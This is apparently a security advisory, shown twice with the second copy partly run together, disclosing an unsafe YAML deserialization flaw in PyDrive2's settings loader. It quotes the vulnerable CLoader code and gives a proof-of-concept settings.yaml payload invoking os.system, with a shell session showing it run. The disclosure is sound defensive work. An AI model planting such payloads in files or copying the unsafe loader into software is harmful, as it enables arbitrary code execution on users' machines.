Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.
Details
The loader being imported from the yaml library is CLoader:
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from yaml import CLoader as Loader |
This loader is then used to load a user supplied file:
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def LoadSettingsFile(filename=SETTINGS_FILE): |
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"""Loads settings file in yaml format given file name. |
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:param filename: path for settings file. 'settings.yaml' by default. |
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:type filename: str. |
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:raises: SettingsError |
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""" |
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try: |
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with open(filename) as stream: |
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data = load(stream, Loader=Loader) |
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except (YAMLError, OSError) as e: |
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raise SettingsError(e) |
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return data |
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CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
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SETTINGS_FILE = "settings.yaml" |
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
- Create a malicious
settings.yaml file:
!!python/object/new:os.system [echo poc]
- Initialize a
GoogleAuth object .
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
- Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile
Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.
Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via
LoadSettingsFile.Details
The loader being imported from the
yamllibrary isCLoader:PyDrive2/pydrive2/settings.py
Line 5 in 30c0f48
This loader is then used to load a user supplied file:
PyDrive2/pydrive2/settings.py
Lines 108 to 121 in 30c0f48
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
PyDrive2/pydrive2/settings.py
Line 9 in 30c0f48
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
settings.yamlfile:!!python/object/new:os.system [echo poc]GoogleAuthobject .Alternatively, the file can be loaded in directly via
pydrive2.settings.LoadSettingsFileImpact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious
yamlfile is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.